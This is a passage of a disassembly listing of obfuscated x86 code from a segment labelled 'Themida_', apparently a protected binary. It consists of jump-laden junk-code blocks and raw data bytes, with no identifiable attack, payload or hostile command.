		dd 670AEE81h, 0A3E9586Bh, 80FFFF2Eh, 5EE918C7h,	8100004Ch
		dd 69547FEEh, 0E9D62923h, 190h,	58C188h, 240C8BC8h, 0FFF926E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560421:				; CODE XREF: Themida_:00561A07j
		pop	ebx
		push	ebx
		mov	ebx, 0AE548730h
		add	edi, ebx
		pop	ebx
		add	esi, 6FA46238h
		jmp	loc_55B2FB
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 0FFD73AE9h, 1854BEFFh, 0EE81424Ch,	6EEFE48h
		dd 0FF8FCDE9h, 59EB88FFh, 8085C380h, 0F380B5EBh, 0B252665Bh
		dd 66D300F3h, 5BD8285Ah, 58C688h, 509FE9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560472:				; CODE XREF: Themida_:00556B80j
		pop	eax
		and	ebx, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_559D19
; ---------------------------------------------------------------------------
		dd 8704E883h, 248B2404h, 241C8924h, 0B8505B54h,	2F0F67CCh
		dd 12Dh, 6093E900h, 0DEF70000h,	0EEC681h, 4E969B1h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5604AB:				; CODE XREF: Themida_:00561CE7j
		pop	esp
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ecx, 2
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_55EE5C
; ---------------------------------------------------------------------------

loc_5604D1:				; CODE XREF: Themida_:00565F84j
		add	edx, esi
		pop	esi
		add	edx, ebx
		sub	edx, 71F93869h
		pop	ebx
		push	20B7h
		mov	[esp], ecx
		mov	ecx, 5F1527D9h
		add	ecx, 0A0EAD82Bh
		add	edx, ecx
		jmp	loc_55D126
; ---------------------------------------------------------------------------

loc_5604F7:				; CODE XREF: Themida_:0055A882j
		not	esi
		push	1B9h
		mov	[esp], ecx
		jmp	loc_55DDF4
; ---------------------------------------------------------------------------

loc_560506:				; CODE XREF: Themida_:0056259Bj
		push	edx
		mov	edx, 6BBD041Eh
		jmp	loc_557474
; ---------------------------------------------------------------------------
		db 0F7h, 0D9h, 53h
		dd 0E4F735BBh, 5BD931A2h, 5659CA89h, 0FFBA6CE9h, 68FA01FFh
		dd 65C0h, 0BB241C89h, 5B623FEFh, 3D6CC281h, 0F5E92506h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56053F:				; CODE XREF: Themida_:0055B55Bj
		shr	esi, 5
		sub	esi, 4178E35h
		mov	eax, esi
		jmp	loc_553E49
; ---------------------------------------------------------------------------
		db 64h
		dd 2B60F66h, 338368h, 242C8900h, 0EC81E589h, 4,	81243489h
		dd 4ECh, 241C8900h, 4240B850h, 0C3892E7Bh, 0D8895058h
		dd 0E958C689h, 0FFFFC9CDh
; ---------------------------------------------------------------------------

loc_560584:				; CODE XREF: Themida_:005578D8j
		not	ebx
		push	6B7Ah
		jmp	loc_560968
; ---------------------------------------------------------------------------
		dd 2E2EC281h, 348B1161h, 4C48124h, 0E9000000h, 0FFFF72D5h
		dd 2D29B850h, 2D4804A2h, 4AAF39CFh, 9802A505h, 53A9E960h
		dd 91BB0000h, 0BE1FC128h, 3DD53CAEh, 895BDE31h,	0E9525EF3h
		dd 11F3h, 5A2434FFh, 0FF63E5E9h, 4BE953FFh, 52FFFFD2h
		dd 2474FF51h, 0A437E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5605EA:				; CODE XREF: Themida_:0056818Cj
		sub	ecx, 16BD4010h
		jmp	loc_55904F
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 4
		dd 2474FF51h, 48F5904h,	48F5C24h, 24248B24h, 4EC81h, 0E1E90000h
		dd 83FFFF8Ah, 3C8704EFh, 85E95C24h, 8BFFFFF2h, 0C4832434h
		dd 0E9EE8904h, 0FFFF9C0Bh, 2404085Ch, 4DECE99Ch, 0FD89FFFFh
		dd 43BA525Fh, 31337A43h, 0CE86E9D5h, 70B0FFFFh,	0FDB55166h
		dd 5966E828h, 0FFC279E9h, 0F32858FFh, 5BD8005Ah, 2EF8E9h
		db 0
; ---------------------------------------------------------------------------

loc_560661:				; CODE XREF: Themida_:00555EF7j
		or	edi, 11DF1426h
		jmp	loc_55880A
; ---------------------------------------------------------------------------
aQFh		db 'Q±!fh',0
		dw 0E900h
		dd 0FFFF5FBCh, 54241C89h, 4B9515Bh, 1000000h, 0C38159CBh
		dd 4, 31241C33h, 0AAE9241Ch, 89FFFFAFh,	0BA522424h, 4
		dd 4245401h, 19D3E9h, 24248B00h, 9C2404FFh, 0FF29F0E9h
		dd 41C681FFh, 81080525h, 3C3F9EC6h, 1AE9593Fh, 29000048h
		dd 2C8B5EF3h, 1F086824h, 2C890000h, 4EC8324h, 83242489h
		dd 5D042404h, 7078E956h, 348B0000h, 52B8E924h, 0D329FFFFh
		dd 2DFAE9h
		db 0
; ---------------------------------------------------------------------------

loc_5606F5:				; CODE XREF: Themida_:00555C26j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_55BFC6
; ---------------------------------------------------------------------------

loc_56070A:				; CODE XREF: Themida_:00563233j
		pop	edx
		sub	dword ptr [esp+4], 4966475Eh
		add	[esp+4], ebp
		add	dword ptr [esp+4], 4966475Eh
		sub	dword ptr [esp+4], 2EC956D4h
		jmp	loc_559773
; ---------------------------------------------------------------------------
		dd 4EC835Ch, 57241C89h,	0E01D9768h, 0DFF75F19h,	2620F781h
		dd 3E95118h, 0FEFFFF97h, 0E99C2404h, 0FFFFB4A2h, 4EC81h
		dd 4890000h, 55E08924h,	2DE2B951h, 0B6E94655h, 0D1FFFFF3h
		dd 0B4EA81E2h, 0E9C335E0h, 458Ch
; ---------------------------------------------------------------------------

loc_560774:				; CODE XREF: Themida_:0055C475j
		mov	esp, [esp]
		mov	ax, [esp]
		push	6D1Fh
		jmp	loc_563A16
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 81E28952h, 4C2h, 4C28100h, 52000000h, 42474FFh, 24048F5Ah
		dd 4EC815Ch, 89000000h,	4BA2414h, 1000000h, 0FF565AD6h
		dd 8B042474h, 89512434h, 5FDEE9E1h, 0DA29FFFFh,	0FFB3E6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5607C9:				; CODE XREF: Themida_:00561232j
		add	edx, 404D34D8h
		xor	edx, 0A96F0B84h
		sub	ecx, edx
		pop	edx
		sub	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_55504E
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 861050EFh, 0EE0BE96Eh, 685BFFFFh, 18Eh, 0BD242C89h
		dd 31695CE8h, 75A0F581h, 19E90005h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56080F:				; CODE XREF: Themida_:00568A41j
		add	dword ptr [esp], 593B6674h
		jmp	loc_555C6D
; ---------------------------------------------------------------------------

loc_56081B:				; CODE XREF: Themida_:0055890Cj
		and	edx, 12E8774Bh
		inc	edx
		xor	edx, 2A220EFDh
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, 3B6C62E5h
		push	636Eh
		mov	[esp], ecx
		mov	ecx, 7E8225DEh
		or	esi, ecx
		jmp	loc_55F5A9
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 942DE924h, 0E1BBFFFFh, 4B154035h, 0D3F7DBF7h, 1D0C381h
		dd 0DF89FEEFh, 0CCBA525Bh, 2944407Bh, 5363E9D1h, 8E680000h
		dd 89000010h, 74FF240Ch, 8F590424h, 575C2404h, 0FFBE13E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560889:				; CODE XREF: Themida_:00567AF7j
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_55D6B4
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 54242C89h
		dd 81242C8Bh, 4C4h, 1A456800h, 3C890000h, 31ECBF24h, 0EF8159EAh
		dd 7A0E1205h, 0F757DFF7h, 0EAE92414h, 0FFFFFFAFh, 0E9042474h
		dd 0FFFF8F32h
; ---------------------------------------------------------------------------

loc_5608DC:				; CODE XREF: Themida_:00553E44j
		add	edi, 15D62DABh
		xor	edx, edi
		pop	edi
		add	ebp, edx
		pop	edx
		jmp	loc_55CDEF
; ---------------------------------------------------------------------------

loc_5608ED:				; CODE XREF: Themida_:0055A8E4j
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_55E6AE
; ---------------------------------------------------------------------------
		dd 34FFE830h, 240C8B24h, 815D5455h, 4C5h, 0DFB95100h, 4105C55Dh
		dd 6711C981h, 0F1811A79h, 0E2A3C27h, 6E1C149h, 0F544BE56h
		dd 1FE975D0h, 5800004Ch, 6BA7BE56h, 0D6F74220h,	53EE814Eh
		dd 1BDDF94h, 0C0835EF0h, 24048704h, 0FF6D24E9h,	0A9C681FFh
		dd 5A11EF70h, 0E95EF009h, 0FFFF728Ch, 0E9240C8Bh, 0FFFFCB44h
; ---------------------------------------------------------------------------

loc_560968:				; CODE XREF: Themida_:0056058Bj
		mov	[esp], edx
		push	4FED1FA5h
		mov	edx, [esp]
		add	esp, 4
		xchg	esi, edx
		jmp	loc_5562E1
; ---------------------------------------------------------------------------

loc_56097D:				; CODE XREF: Themida_:0055FB80j
		push	esi
		jmp	loc_562C75
; ---------------------------------------------------------------------------
		db 0ACh
		dd 91E95266h, 81FFFF66h, 0B44DC9C2h, 875B5D3Eh,	0F7F787FAh
		dd 31F787D6h, 31D731FAh, 0E3BE56FAh, 161AF5Eh, 0E62D5EF2h
		dd 29239505h, 5E605D0h,	148B2395h, 43E95124h, 5B000015h
		dd 0F1E9A704h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_5609C7:				; CODE XREF: Themida_:00556C07j
		add	edx, edi
		pop	edi
		shr	edx, 5
		jmp	loc_561114
; ---------------------------------------------------------------------------

loc_5609D2:				; CODE XREF: Themida_:00567B7Fj
		push	ebx
		mov	ebx, 230535F9h
		xor	ebp, ebx
		pop	ebx
		push	esi
		mov	esi, 0FFFFFFFFh
		sub	ebp, esi
		mov	esi, [esp]
		jmp	loc_567683
; ---------------------------------------------------------------------------
		db 59h
		dd 4C181h, 64E90000h, 0BA00000Bh, 4, 24348B52h,	3C56E9h
		dd 0CAB35300h, 0FF8531E9h, 81D329FFh, 1B28D4EBh, 0FBEB8158h
		dd 0E9295318h, 0FFFF612Bh, 240C8B66h, 0FFF743E9h, 0B8504DFFh
		dd 37E647D1h, 0FF52EFE9h, 243C87FFh, 0E9EF045Ch, 2B6Ch
; ---------------------------------------------------------------------------

loc_560A40:				; CODE XREF: Themida_:0055334Aj
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55DB3B
; ---------------------------------------------------------------------------
		dd 405E089h, 83000000h,	48702C0h, 689DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560A72:				; CODE XREF: Themida_:0055F01Ej
		sub	ecx, 4E248E2Fh
		xor	eax, ecx
		jmp	loc_554430
; ---------------------------------------------------------------------------
		db 83h
		dd 0F1E904C4h, 81FFFF70h, 4C3h,	0C9E95300h, 89FFFFC0h
		dd 0E389241Ch, 8904EC83h, 54E9243Ch, 31FFFF8Ch,	0EBC15AD3h
		dd 56DBF705h, 0B54B85BEh, 0CBE4E948h, 1C31FFFFh, 241C3324h
		dd 2404895Ch, 0FFE08FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560AC5:				; CODE XREF: Themida_:0056728Dj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5653C5
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 3
		dd 6E2AF281h, 0D101988Fh, 0FF43B7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560AE5:				; CODE XREF: Themida_:005620ACj
		add	esp, 4
		push	5EDDh
		jmp	loc_558863
; ---------------------------------------------------------------------------
		dw 6653h
		dd 664458BBh, 4766FB87h, 0E9FB8766h, 0FFFF8211h, 2C8BEE29h
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 0E9241C87h, 7609h
		dd 87C4F581h, 0EF010F09h, 5D2434FFh, 0FF776EE9h, 4895CFFh
		dd 31B86624h, 0DB356606h, 0C6016633h, 0FFC009E9h, 4EC83FFh
		dd 0E9241489h, 0FFFF2638h
; ---------------------------------------------------------------------------

loc_560B50:				; CODE XREF: Themida_:0055679Bj
		shr	edi, 4
		add	edi, 6BC1160Dh
		sub	edi, 5324DDF5h
		sub	ebx, edi
		pop	edi
		add	ebx, edi
		jmp	loc_55835D
; ---------------------------------------------------------------------------
		db 88h,	0D0h, 88h
		dd 148B58C5h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
		dd 0FD7AE95Ch, 14F6FFFFh, 509DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560B8E:				; CODE XREF: Themida_:005590DFj
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 60E94034h
		jmp	loc_565F69
; ---------------------------------------------------------------------------
		db 81h
		dd 847FDFE9h, 5068586Dh, 8900004Dh, 0FFE9240Ch,	66FFFFD4h
		dd 5524048Bh, 0FF27FBE9h, 3E3C1FFh, 39B2EB81h, 0C38115BBh
		dd 2D60B717h, 1338E9h, 5DC28100h, 5B65817Eh, 2E16E9h, 4C78100h
		dd 87000000h, 555C243Ch, 6AA0B951h, 0C98137AAh,	0E133972h
		dd 3EE9D9F7h, 34FFFF64h, 2C852C84h, 0F80EE9A4h,	8B66FFFFh
		dd 89512414h, 23F7E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560C12:				; CODE XREF: Themida_:00555962j
		mov	edx, 0DF86E6B0h
		add	edx, esi
		jmp	loc_566C19
; ---------------------------------------------------------------------------
		dw 0F000h
		dd 7404572Ch, 148B5A04h, 7A0EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560C2E:				; CODE XREF: Themida_:0055E867j
		mov	edx, esp
		push	ebp
		jmp	loc_55ABC5
; ---------------------------------------------------------------------------

loc_560C36:				; CODE XREF: Themida_:0055DBEDj
		mov	ebx, 4322302Eh
		push	ebp
		mov	ebp, 0D321E04h
		sub	ebx, ebp
		jmp	loc_565770
; ---------------------------------------------------------------------------

loc_560C48:				; CODE XREF: Themida_:0055E0EDj
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		sub	esp, 4
		jmp	loc_563227
; ---------------------------------------------------------------------------
		dd 64F4E951h, 0ACBD0000h, 0C1181748h, 0ED8104EDh, 0D6126F40h
		dd 9CE9EA09h
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560C77:				; CODE XREF: Themida_:00563DE3j
		xor	edi, 26D66A88h
		add	edi, 0D877918Dh
		mov	esi, edi
		pop	edi
		jmp	loc_564FD7
; ---------------------------------------------------------------------------
aBx0abrPtBs1j	db 'åÏ0BRºšpâ%Bé1j',0
		db 0
; ---------------------------------------------------------------------------

loc_560C9D:				; CODE XREF: Themida_:0055B093j
		mov	eax, 3F4202DFh
		jmp	loc_562B53
; ---------------------------------------------------------------------------

loc_560CA7:				; CODE XREF: Themida_:00568B30j
		sub	ebp, 55F75A4Ah
		push	edi
		push	ebx
		push	5BE70DE8h
		jmp	loc_554A55
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 4
aZSP		db '‡<$\é',7,'P',0
		dd 2434FF00h, 0E9240C8Bh, 0FFFF5718h
; ---------------------------------------------------------------------------

loc_560CD0:				; CODE XREF: Themida_:0055D121j
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 0C64A8425h
		sub	esp, 4
		mov	[esp], ebx
		add	dword ptr [esp], 1E13074Bh
		jmp	loc_567B45
; ---------------------------------------------------------------------------

loc_560CF1:				; CODE XREF: Themida_:005644CFj
		pop	eax
		add	eax, 4
		jmp	loc_557ABD
; ---------------------------------------------------------------------------

loc_560CFC:				; CODE XREF: Themida_:0055861Dj
		dec	esi
		shr	esi, 8
		or	esi, 15FE7365h
		sub	esi, 15FF7B6Bh
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55C6D1
; ---------------------------------------------------------------------------

loc_560D23:				; CODE XREF: Themida_:00553FD9j
		mov	ebx, 57E37825h
		sub	ebx, 4FB53BE4h
		and	ebx, 2A8D4E7Dh
		push	esi
		mov	esi, 49514052h
		or	ebx, esi
		pop	esi
		add	ebx, 0E733FBFDh
		mov	eax, ebx
		pop	ebx
		not	eax
		shr	eax, 3
		add	eax, 0F5C58AA9h
		or	edx, eax
		pop	eax
		add	edx, 0F00C0E45h
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		dd 51665166h, 8AE901B1h, 89FFFF4Dh, 8B5E2414h, 0C4832414h
		dd 35E95204h, 81000003h, 42404h, 1C8B0000h, 8B545024h
		dd 54532404h, 5B2434FFh, 4C481h, 7DE90000h, 5700007Ah
		dd 0EC81E789h, 4, 0BB241C89h, 2702109h,	2976C381h, 0E3C15691h
		dd 0B9515003h, 71E16B1Bh, 79BAC981h, 69E95997h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560DCF:				; CODE XREF: Themida_:0055A576j
		mov	[esp], edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_5553E3
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2EAC000h, 0C056B551h, 0E5C008E5h, 7EDC006h, 2DB75352h
		dd 1517E9h, 2424D200h, 226FE99Ch, 5EB4FFFFh, 4EC81h, 14890000h
		dd 1444E924h, 895C0000h, 2C87243Ch, 0E303E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560E52:				; CODE XREF: Themida_:00567B5Ej
		pop	esp
		and	eax, esi
		pop	esi
		shr	eax, 12h
		xor	eax, ecx
		push	4B45h
		mov	[esp], eax
		xchg	ebx, [esp]
		not	ebx
		push	6F73h
		jmp	loc_559709
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd offset dword_52C048+2A1h
		dd 3034B500h, 0E5C05BDDh, 7FF58007h, 2F236866h,	24148966h
		dd 0F50897B6h, 0E5805A66h, 0EFF58088h, 0E800E104h, 0C8BE12Ch
		dd 4C48324h, 0E9240C8Bh, 0FFFF66A5h, 9A0F4FB9h,	0F9E9813Fh
		dd 317F40A3h, 0FD0159CFh, 0ED81455Fh, 0C1A41D5h, 2FF3B951h
		dd 0C1810D0Dh, 4165906Ch, 0E959CD01h, 0FFFFA3FBh
; ---------------------------------------------------------------------------

loc_560ED8:				; CODE XREF: Themida_:00561871j
		sub	ebx, ebp
		jmp	loc_562E8D
; ---------------------------------------------------------------------------
		db 81h
		dd 0DD2D11E9h, 0D9C5E947h, 0F780FFFFh, 0F6D78642h, 68D786D2h
		dd 2CA1h, 0B2241489h, 41CA8010h, 803FC280h, 0D700BEC2h
		dd 0BF3AE95Ah, 0EB81FFFFh, 13D1199Ch, 0C381FB01h, 13D1199Ch
		dd 51243C8Bh, 0C181E189h, 4, 8704C183h,	0E95C240Ch, 0FFFF2F91h
; ---------------------------------------------------------------------------

loc_560F34:				; CODE XREF: Themida_:005680B6j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	edi, 4
		push	eax
		mov	eax, 0F6C6348h
		shr	eax, 1
		jmp	loc_55E2EB
; ---------------------------------------------------------------------------
		dd 58B9515Fh, 2926EF7Dh, 0C72159C8h, 34EF8158h,	0E90C4A31h
		dd 0FFFFC6D9h
; ---------------------------------------------------------------------------

loc_560F6C:				; CODE XREF: Themida_:00565A29j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55F3A7
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 27C7BD24h, 0C5814F85h, 33B6D18h, 13C0E9h, 0E9F02900h
		dd 6EBEh, 79B55166h, 5966E828h,	241C8B66h, 0E9E08950h
		dd 0FFFF9683h
; ---------------------------------------------------------------------------

loc_560FA8:				; CODE XREF: Themida_:00564412j
		add	edx, 4
		push	50E5h
		jmp	loc_5539AF
; ---------------------------------------------------------------------------
		dd 0EB35366h, 0F5E93604h
		db 25h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560FC3:				; CODE XREF: Themida_:00564EDCj
		push	1E31h
		mov	[esp], ecx
		mov	edi, [esp]
		jmp	loc_56136C
; ---------------------------------------------------------------------------
		db 21h
		dd 0EE8159CEh, 23D711D0h, 0D8254B05h, 2DF0010Dh, 0DD8254Bh
		dd 8BC6895Eh, 0C4832404h, 0BDBE5604h, 55261A17h, 0B671B1BDh
		dd 22ED8161h, 8108AF25h, 0C00210C5h, 724DE9AFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56100E:				; CODE XREF: Themida_:0055986Dj
		pop	eax
		shr	ecx, 0Bh
		push	ecx
		mov	ecx, esp
		jmp	loc_5602FD
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 0FF508FE9h, 52AD68FFh, 14890000h,	645D6824h, 148B6CD2h
		dd 4C48124h, 83000000h,	148904ECh, 240CFF24h, 81D2F75Ah
		dd 0C43A5DF2h, 6E2C107h, 368DAF7h, 89000017h, 89E9242Ch
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56105F:				; CODE XREF: Themida_:00554527j
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	edx, [esp]
		jmp	loc_5675BA
; ---------------------------------------------------------------------------
		db 81h
		dd 0E75DBF2h, 81E2D13Fh, 1F4F9EC2h, 8BD601B7h, 0C4812414h
		dd 4, 0C3E95B56h, 6600001Dh, 1D1DC781h,	86EF8166h, 0FE316662h
		dd 0C581665Fh, 0B0E919AEh
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5610A7:				; CODE XREF: Themida_:005689CAj
		add	ebp, 4
		jmp	loc_55D8B0
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFF5801h, 0D265C3BAh, 81EAD12Eh, 67371DF2h, 42D7E921h
		dd 0DE010000h, 15E2EE81h, 1C8B71A3h, 780BE924h,	248B0000h
		dd 24048924h, 8B2434FFh, 0C4832414h, 20E8E904h,	0EA80FFFFh
		dd 79F280FFh, 0FFF05DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5610F9:				; CODE XREF: Themida_:00561575j
		pop	ecx
		push	4206h
		jmp	loc_554E3D
; ---------------------------------------------------------------------------
		dd 2414895Ch, 24148B54h, 0E9E08950h, 0FFFF8169h
; ---------------------------------------------------------------------------

loc_561114:				; CODE XREF: Themida_:005609CDj
		inc	edx
		jmp	loc_553FD6
; ---------------------------------------------------------------------------
		dw 0AD66h
		dd 1CFA2D66h, 1F802D66h, 66D82966h, 661F8005h, 4FE6857h
		dd 29E90000h, 81000020h, 440B5AEFh, 5FFD293Fh, 0FFE14AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561145:				; CODE XREF: Themida_:0055743Dj
		push	edi
		mov	edi, 2EF87B1Eh
		jmp	loc_5562B5
; ---------------------------------------------------------------------------
		dd 9268F181h, 0DAE91D88h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56115B:				; CODE XREF: Themida_:0055F129j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 14C1F8Ah
		push	ebx
		mov	ebx, ebp
		jmp	loc_562864
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 3C297183h, 8159CB29h, 0B001C1EBh, 0AEB9513Ch, 81911C86h
		dd 7C21AFEBh, 0E9CB010Ch, 0FFFF6655h, 0F1E95756h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561197:				; CODE XREF: Themida_:0055C70Ej
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0D580368h
		xor	edx, 20C580Bh
		jmp	loc_568752
; ---------------------------------------------------------------------------
aSS_4		db '(ØéÖS',0
		dw 8900h
		dd 0F968243Ch, 5F37B72Fh, 1121C781h, 0EFC13042h, 53504705h
		dd 473913BBh, 2E3C108h,	0C14BD3F7h, 0C38108EBh,	260E6ECh
		dd 0E95BD889h, 0FFFFA801h, 3E9C4B5h
		db 2Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5611EF:				; CODE XREF: Themida_:0056624Ej
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_565C0B
; ---------------------------------------------------------------------------
		dd 5C240C87h, 67D2C381h, 0C181DEBFh, 97F6F8Bh, 76E9D901h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561217:				; CODE XREF: Themida_:005541F3j
		sub	ebx, 700C0375h
		pop	edi
		push	ecx
		mov	ecx, 124D5DE7h
		neg	ecx
		push	edx
		mov	edx, 79387FDFh
		sub	edx, 74A80B26h
		jmp	loc_5607C9
; ---------------------------------------------------------------------------
		db 51h
		dd 0C580E5B5h, 17E58021h, 0FEDDE580h, 6EBCE9C5h, 5750FFFFh
		dd 0FFA3C8E9h, 0EC81ACFFh, 4, 0E9240C89h, 0FFFFFF88h, 9AEE181h
		dd 6856397Dh, 1E287841h, 0E1BE565Eh, 0F7587224h, 5E05E9DEh
		dd 6657FFFFh, 660662BFh, 0E781664Fh, 0F7666C2Ah, 0FE01E9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56128E:				; CODE XREF: Themida_:0055F272j
		mov	ebp, 6106BD6h
		jmp	loc_562101
; ---------------------------------------------------------------------------
		dd 5E5305ADh, 5755427Fh, 845BAC68h, 0EE95F0Ch, 80FFFF7Fh
		dd 0F828C0C7h, 0E789575Bh, 4C781h, 0EF810000h, 4, 38F5E9h
		dd 4EA8300h, 5C241487h,	78ECE9h, 24248B00h, 0FF2BD7E9h
		dd 2434FFFFh, 78E4E9h
		db 0
; ---------------------------------------------------------------------------

loc_5612E1:				; CODE XREF: Themida_:00563E9Dj
		add	ebx, 0EF93E0FBh
		jmp	loc_5661A2
; ---------------------------------------------------------------------------
		dd 0E4C099B4h, 0FEEC8004h, 0E958E188h, 0FFFF24E6h
; ---------------------------------------------------------------------------

loc_5612FC:				; CODE XREF: Themida_:00558324j
		sub	ebx, 0E6C7F582h
		and	ebp, ebx
		pop	ebx
		jmp	loc_5531FE
; ---------------------------------------------------------------------------
		dw 9D61h
		dd 1D93E9C3h, 0E789FFFFh, 4C781h, 0E9510000h, 0FFFF90A5h
		dd 0C25009B8h, 7001E93Dh, 0F2B80000h, 2969530Ch, 58042444h
		dd 0F2C2815Ah, 8969530Ch, 24148BD5h, 0E904C483h, 0FFFF4690h
		dd 0C7766568h, 89E95A09h, 89000059h, 240C8BCAh,	38C9E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56135E:				; CODE XREF: Themida_:00557CF0j
		pop	ebx
		jmp	loc_55DEE3
; ---------------------------------------------------------------------------
		dd 0E9EB295Fh, 0FFFFA86Eh
; ---------------------------------------------------------------------------

loc_56136C:				; CODE XREF: Themida_:00560FCEj
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ecx, 7
		sub	esp, 4
		jmp	loc_5582DA
; ---------------------------------------------------------------------------

loc_56139A:				; CODE XREF: Themida_:005563FFj
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], esi
		push	181Dh
		jmp	loc_55D50F
; ---------------------------------------------------------------------------
		dw 83ACh
		dd 1C8904ECh, 55E38924h, 5F3B76BDh, 3629E924h, 1C310000h
		dd 241C3324h, 0F724248Bh, 195268E1h, 73E90000h,	8BFFFF4Dh
		dd 0C481241Ch, 4, 1CB7E959h, 0C583FFFFh, 7AED8101h, 2D4FC2C6h
		dd 5A785A2Ch, 2C05E829h, 8B5A785Ah, 0E956242Ch,	0FFFFE905h
; ---------------------------------------------------------------------------

loc_56140C:				; CODE XREF: Themida_:0055E959j
		push	eax
		mov	eax, 16DB520Ah
		neg	eax
		not	eax
		add	eax, 301D2234h
		xor	eax, 8651F7h
		jmp	loc_5555FA
; ---------------------------------------------------------------------------
		db 0B9h, 44h, 13h
		dd 0CB211837h, 0ECF38159h, 8125E449h, 63101AC3h, 0D889506Ch
		dd 0D1E9C289h, 83FFFF53h, 0F78101C7h, 41B41749h, 0FFAA70E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561451:				; CODE XREF: Themida_:0055CBEAj
		sub	al, bh
		pop	ebx
		push	ecx
		mov	cl, 4Dh
		push	dx
		mov	dh, 71h
		sub	cl, 60h
		add	cl, dh
		add	cl, 60h
		mov	dx, [esp]
		add	esp, 2
		push	ebx
		mov	bh, 0Fh
		xor	cl, bh
		pop	ebx
		add	al, cl
		jmp	loc_555E29
; ---------------------------------------------------------------------------
		dw 0FA88h
